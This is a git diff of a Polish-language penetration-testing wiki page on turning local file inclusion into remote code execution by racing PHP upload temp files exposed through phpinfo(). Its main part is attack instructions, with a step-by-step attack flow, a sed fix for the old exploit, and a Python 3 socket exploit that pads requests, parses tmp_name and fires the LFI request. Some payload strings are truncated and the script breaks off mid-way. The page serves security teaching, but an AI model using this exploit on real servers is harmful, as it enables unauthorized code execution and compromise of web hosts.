diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index ae15ed350..cbd29f0f2 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,156 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -Aby wykorzystać tę lukę, potrzebujesz: **Luki LFI, strony, na której wyświetlany jest phpinfo(), "file_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".** +Aby wykorzystać tę technikę potrzebujesz wszystkich następujących elementów: +- Dostępnej strony, która wypisuje wynik phpinfo(). +- Sterowalnego Local File Inclusion (LFI) primitive (np. include/require na danych wejściowych użytkownika). +- Włączonego przesyłania plików w PHP (file_uploads = On). Każdy skrypt PHP zaakceptuje RFC1867 multipart uploads i utworzy tymczasowy plik dla każdej przesłanej części. +- Proces PHP musi móc zapisywać do skonfigurowanego upload_tmp_dir (lub domyślnego katalogu tymczasowego systemu), a twoje LFI musi móc include tę ścieżkę. -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Klasyczne opracowanie i oryginalny PoC: +- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) +- Nazwa oryginalnego skryptu PoC: phpinfolfi.py (zob. whitepaper i mirrors) -**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -Musisz naprawić exploit (zmienić **=>** na **=>**). Aby to zrobić, możesz: +Uwagi dotyczące oryginalnego PoC +- Wynik phpinfo() jest zakodowany w HTML, więc strzałka "=>" często pojawia się jako "=>". Jeśli używasz starych skryptów, upewnij się, że szukają obu form kodowania przy parsowaniu wartości _FILES[tmp_name]. +- Musisz dostosować payload (twój kod PHP), REQ1 (żądanie do endpointu phpinfo() wraz z paddingiem) oraz LFIREQ (żądanie do twojego LFI sink). Niektóre cele nie potrzebują terminatora null-byte (%00) i nowoczesne wersje PHP go nie respektują. Dostosuj LFIREQ odpowiednio do podatnego sinku. + +Przykładowe sed (tylko jeśli naprawdę używasz starego PoC w Python2) do dopasowania strzałki zakodowanej w HTML: ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas eksploatacji znaku null) +## Teoria -{{#file}} -LFI-With-PHPInfo-Assistance.pdf -{{#endfile}} +- Kiedy PHP otrzymuje multipart/form-data POST z polem pliku, zapisuje zawartość do pliku tymczasowego (upload_tmp_dir lub domyślne dla OS) i ujawnia ścieżkę w $_FILES['']['tmp_name']. Plik jest automatycznie usuwany na końcu żądania, chyba że zostanie przeniesiony/zmieniony. +- Sztuczka polega na poznaniu nazwy pliku tymczasowego i dołączeniu jej za pomocą LFI zanim PHP ją usunie. phpinfo() wypisuje $_FILES, w tym tmp_name. +- Poprzez powiększanie nagłówków/parametrów żądania (padding) możesz spowodować, że wczesne fragmenty wyjścia phpinfo() zostaną wysłane do klienta zanim żądanie się zakończy, dzięki czemu możesz odczytać tmp_name, gdy plik tymczasowy nadal istnieje, a następnie natychmiast trafić w LFI z tą ścieżką. -### Teoria +W Windows pliki tymczasowe zwykle znajdują się w katalogu takim jak C:\\Windows\\Temp\\php*.tmp. W Linux/Unix zwykle są w /tmp lub w katalogu skonfigurowanym w upload_tmp_dir. -Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany. +## Przebieg ataku (krok po kroku) -Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę tymczasowego pliku utworzonego i wykorzystać RCE, uzyskując dostęp do tymczasowego pliku, zanim zostanie on usunięty. +1) Przygotuj mały PHP payload, który szybko utrwali shell, aby nie przegrać race (zapis pliku jest zazwyczaj szybszy niż oczekiwanie na reverse shell): +``` +'); +``` +2) Wyślij duży multipart POST bezpośrednio do strony phpinfo(), aby utworzyła plik tymczasowy zawierający twój payload. Nadmuchaj różne headers/cookies/params z ~5–10KB paddingu, aby zachęcić do wcześniejszego outputu. Upewnij się, że nazwa pola formularza pasuje do tego, co będziesz parsować w $_FILES. -W **Windows** pliki są zazwyczaj przechowywane w **C:\Windows\temp\php** +3) Gdy odpowiedź phpinfo() wciąż się streamuje, parsuj częściowe body, aby wyciągnąć $_FILES['']['tmp_name'] (HTML-encoded). Jak tylko masz pełną ścieżkę absolutną (np. /tmp/php3Fz9aB), wywołaj swoje LFI, żeby include() tę ścieżkę. Jeśli include() wykona plik tymczasowy zanim zostanie on usunięty, twój payload uruchomi się i utworzy /tmp/.p.php. -W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy tymczasowego pliku** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**". +4) Użyj utworzonego pliku: GET /vuln.php?include=/tmp/.p.php&x=id (lub tam, gdzie twój LFI pozwala na jego include) aby niezawodnie wykonywać polecenia. -**phpinfo()** +> Wskazówki +> - Użyj wielu równoległych workerów, aby zwiększyć szanse na wygranie wyścigu. +> - Umiejscowienie paddingu, które często pomaga: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Dostosuj do celu. +> - Jeśli podatny sink dopisuje rozszerzenie (np. .php), nie potrzebujesz null byte; include() wykona PHP niezależnie od rozszerzenia pliku tymczasowego. -**PHP** używa bufora o wielkości **4096B** i gdy jest **pełny**, jest **wysyłany do klienta**. Następnie klient może **wysłać** **dużo dużych żądań** (używając dużych nagłówków) **przesyłając php** reverse **shell**, czekać na **pierwszą część phpinfo()**, która zostanie zwrócona (gdzie znajduje się nazwa tymczasowego pliku) i spróbować **uzyskać dostęp do pliku tymczasowego** zanim serwer php usunie plik, eksploatując lukę LFI. +## Minimalny PoC Python 3 (oparty na socketach) -**Skrypt Pythona do próby brutalnego wymuszenia nazwy (jeśli długość = 6)** +Poniższy fragment skupia się na kluczowych częściach i jest łatwiejszy do zaadaptowania niż przestarzały skrypt Python2. Dostosuj HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (ścieżka do LFI sink), oraz PAYLOAD. ```python -import itertools -import requests -import sys +#!/usr/bin/env python3 +import re, html, socket, threading -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: #